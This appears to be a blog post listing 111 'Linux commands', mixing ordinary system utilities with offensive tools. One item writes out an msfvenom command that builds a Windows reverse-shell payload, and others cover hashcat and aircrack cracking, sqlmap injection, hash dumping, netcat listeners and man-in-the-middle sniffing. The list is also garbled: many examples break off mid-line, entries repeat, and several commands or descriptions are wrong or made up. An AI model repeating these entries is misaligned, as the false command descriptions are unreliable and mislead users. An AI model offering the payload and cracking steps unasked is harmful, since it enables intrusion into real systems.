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Abhishek Pathak
Abhishek Pathak

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111 Linux Commands - All Purpose

  1. curl: Command-line tool to transfer data with URLs. Example: curl (downloads the content of

  2. strace file: Trace system calls and signals. Example: strace ls (traces system calls made by the 'ls' command)

  3. base64: Encode/decode binary files to/from base64. Example: base64 image.jpg (encodes an image file into base64)

  4. htop: Interactive process viewer

  5. uniq: Display unique lines from a sorted file. Example: sort file.txt | uniq (removes duplicate lines from a sorted text file)

  6. rot13: Rotate characters by 13 positions. Example: echo "Hello" | tr 'A-Za-z' 'N-ZA-Mn-za-m' (applies ROT13 encryption to the text)

  7. fish: A shell. Must try

  8. gzip: Compress or decompress files. Example: gzip file.txt (compresses the 'file.txt' and creates 'file.txt.gz')

  9. netsparker: Web application security scanner. Example: netsparker scan (scans a website for vulnerabilities)

  10. intruder: Automates customized attacks. Example: intruder -target -payloads payloads.txt (automates attacks with custom payloads)

  11. traceroute: Discover the path packets take across an IP network. Example: traceroute (displays the route taken by packets to reach Google's servers)

  12. burpsuit: Web vulnerability scanner and proxy tool. Example: burpsuite (opens the Burp Suite graphical interface)

  13. ipconfig: config a network interface.

  14. aircrack: Wi-Fi network security tool. Example: aircrack-ng capture.cap (cracks WEP or WPA keys from a Wi-Fi capture file)

  15. hashcat: Password recovery tool. Example: hashcat -m 0 hash.txt wordlist.txt (attempts to crack a hash using a wordlist)

  16. netstumbler: Wireless network discovery tool. Example: netstumbler (scans for nearby wireless networks)

  17. SQLmap: Detect and exploit SQL injection vulnerabilities. Example: sqlmap -u "" (explores SQL injection on a website)

  18. dig: DNS lookup utility. Example: dig (performs a DNS lookup for

  19. wall: Send messages to all users' terminals. Example: echo "Emergency meeting at 2 PM!" | wall (sends a message to all users)

  20. w: Show who is logged on and what they're doing. Example: w (displays information about currently logged-in users)

  21. mkpasswd: Generate passwords. Example: mkpasswd -m sha-512 (generates a SHA-512 hashed password)

  22. lsof: List ipen files.

  23. df: report file system space. eg df -h

  24. free: Display amount of free and used memeoty in system. eg free -h

  25. dpkg -i: Install a Debian package. Example: dpkg -i package.deb (installs a Debian package)

  26. whatweb: Web scanner. Example: whatweb (scans a website and gathers information)

  27. searchsploit: Search for exploits in Exploit Database. Example: searchsploit wordpress (searches for exploits related to WordPress)

  28. ip a: Show IP addresses of network interfaces. Example: ip a (displays IP addresses and network interfaces)

  29. arp -a: Display or modify the IP-to-Physical address translation tables. Example: arp -a (displays the ARP table)

  30. route: Show or manipulate IP routing table. Example: route -n (displays the IP routing table)

  31. nikto: Web server scanner. Example: nikto -h (scans a web server for vulnerabilities)

  32. nss: Name Service Switch configuration file. Example: cat /etc/nsswitch.conf (displays the NSS configuration)

  33. vega: Web security scanner and testing platform. Example: vega (opens the Vega graphical interface)

  34. utf: program for managing a netfilter firewall.

  35. rsync: a fast, versatile, remote (and local) file-copying tool.

  36. directives: Configuration settings for various applications. Example: nginx -t (checks the syntax of Nginx configuration)

  37. msf console: Metasploit Framework console. Example: msfconsole (opens the Metasploit Framework console)

  38. msf venom: Metasploit payload generator. Example: msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe > payload.exe (generates a Windows reverse shell payload)

  39. subclient: ftp-like client to access SMB/CIFS resources on servers.

  40. ping: Send ICMP echo requests to network hosts. Example: ping (sends ICMP requests to Google)

  41. traceroute: Determine the route taken by packets. Example: traceroute (displays the route taken by packets to reach

  42. whois: Lookup domain registration information. Example: whois (retrieves WHOIS information for

  43. ip route show: Display routing table. Example: ip route show (displays the IP routing table)

  44. ip addr: Show IP address settings for network interfaces. Example: ip addr show eth0 (displays IP address settings for the 'eth0' interface)

  45. service network manager: Manage network services. Example: service NetworkManager restart (restarts the NetworkManager service)

  46. netstat: Network statistics. Example: netstat -tuln (displays active TCP and UDP network connections)

  47. FTP - 21: File Transfer Protocol. Example: ftp (connects to an FTP server)

  48. SSH - 22: Secure Shell. Example: ssh user@host (connects to a remote host using SSH)

  49. SMB - 139, 445: Server Message Block protocol. Example: smbclient -L //host (lists shares on an SMB server)

  50. HTTP/S - 80, 443: Hypertext Transfer Protocol/Secure. Example: curl (downloads content from

  51. less: Display file contents. Example: less file.txt (displays the content of a file)

  52. route -m: Display current routing table. Example: route -m (displays the IP routing table)

  53. whatis: display one-line manual page descriptions. eg whatis ls

  54. whereis: locate the binary, source, and manual page files for a command. eg whereis ls

  55. wc -l: Count lines in a file. Example: wc -l file.txt (counts the number of lines in 'file.txt')

  56. sort -u: Sort and remove duplicates from text files. Example: sort -u file.txt (sorts and removes duplicate lines from 'file.txt')

  57. cron: Schedule tasks at specific times. Example: crontab -e (edit the user's crontab file)

  58. setuid: Set user or group ID on execution. Example: chmod u+s file (sets the SUID permission on 'file')

  59. searchsploit: Exploit Database Archive Search. eg searchsploit ssh

  60. netdiscover: active/passive ARP reconnaissance tool.

  61. curl: Command-line tool to transfer data with URLs. Example: curl (downloads the content of

  62. wget: Command-line utility to download files. Example: wget (downloads 'file.txt' from

  63. binwalk: Firmware analysis tool. Example: binwalk firmware.img (analyzes a firmware image)

  64. zip2john: Convert zip file to John the Ripper format. Example: zip2john > hash.txt (converts '' to John format)

  65. arp: Display or modify the IP-to-Physical address translation tables. Example: arp -a (displays the ARP table)

  66. sudo -l: List user's privileges. Example: sudo -l (lists user's sudo privileges)

  67. top: Monitor system activity. Example: top (displays real-time system activity)

  68. hashdump: Dump password hashes. Example: hashdump (dumps password hashes from a system)

  69. nc - vnlp port: Netcat listener on a port. Example: nc -vnlp 4444 (starts a Netcat listener on port 4444)

  70. nc ip port: Netcat connection to an IP and port. Example: nc 80 (opens a Netcat connection to IP on port 80)

  71. proxychains: redirect connections through proxy servers.

  72. uid: User ID. Example: uid (displays user's ID)

  73. macchanger: Change MAC address. Example: macchanger -r eth0 (randomly changes MAC address of 'eth0')

  74. ss: Socket statistics. Example: ss -tuln (displays TCP and UDP socket statistics)

  75. netstat -r: Display routing table. Example: netstat -r (displays the IP routing table)

  76. netstat -t: Display TCP connections. Example: netstat -t (displays active TCP connections)

  77. netstat -l -list: Display listening sockets. Example: netstat -l -list (displays listening sockets)

  78. netdiscober -i eth0: Scan eth0 connections.

  79. dns: Domain Name System. Example: nslookup (performs DNS lookup for

  80. htop: Interactive process viewer. Example: htop (displays interactive system processes)

  81. systemctl: Control the systemd system and service manager. Example: systemctl start service-name (starts a systemd service)

  82. ssl: Secure Sockets Layer.

  83. tar -xf: Extract files from a tar archive. Example: tar -xf archive.tar.gz (extracts 'archive.tar.gz')

  84. bzip2: File compression tool. Example: bzip2 file.txt (compresses 'file.txt' and creates 'file.txt.bz2')

  85. nessus: Vulnerability scanner. Example: nessus (starts the Nessus vulnerability scanner)

  86. cut: Remove sections from lines of files. Example: cut -d',' -f1 file.csv (removes first field from CSV file)

  87. rand: Generate random numbers.

  88. ettercap: multipurpose sniffer/content filter for man in the middle attacks.

  89. netsparker: Web application security scanner. Example: netsparker scan (scans a website for vulnerabilities)

  90. acunetis: Web vulnerability scanner.

  91. metasploit: Penetration testing framework. Example: msfconsole (opens the Metasploit console)

  92. aircrack -ng: Wi-Fi network security tool. Example: aircrack-ng capture.cap (cracks WEP/WPA keys from a Wi-Fi capture file)

  93. strings: Display printable characters from files. Example: strings binary.exe (displays printable strings from 'binary.exe')

  94. lspci: List all pci devices.

  95. ps -aux: All running processes.

  96. free: Display memory usage. Example: free -h (displays memory usage in human-readable format)

  97. iftop: Real-time console-based network bandwidth monitoring tool. Example: iftop -i eth0 (monitors bandwidth on 'eth0')

  98. umask: Set file permissions. Example: umask 0022 (sets default file permissions)

  99. An email hunter tool that helps marketers find the contact information associated with any domain.

  100. Certificate Search.

  101. sublist3r: Subdomain enumeration tool. Example: sublist3r -d (enumerates subdomains of

  102. builtwith: Web technology profiler. Example: builtwith (profiles technologies used by a website)

  103. locate: Search files using a pre-built database. Example: locate file.txt (searches for 'file.txt' in the database)

  104. grep: Search text for patterns. Example: grep pattern file.txt (searches for 'pattern' in 'file.txt')

  105. |: Pipe operator. Example: ls -l | grep ".txt" (pipes 'ls -l' output to 'grep' to filter .txt files)

  106. group: User group management. Example: groupadd mygroup (creates a new user group 'mygroup')

  107. lscpu: display information about the CPU architecture.

  108. find: Search for files and directories. Example: find /path/to/search -name "*.txt" (finds all .txt files)

  109. find -type f -lname "fileName": Searches for symbolic links with the specified target filename. Example: find /path/to/search -type f -lname "target.txt" (finds symbolic links to 'target.txt')

  110. ltrace: A library call tracker. eg ltrace ls

  111. locate: Find files by name, quickly

All these commands are from the notes that accumulate as tooks to check, and I thought I must share them with everyone. I took help from Google, Whatis Command, and ChatGPT. If you have anymore suggestions do comment.

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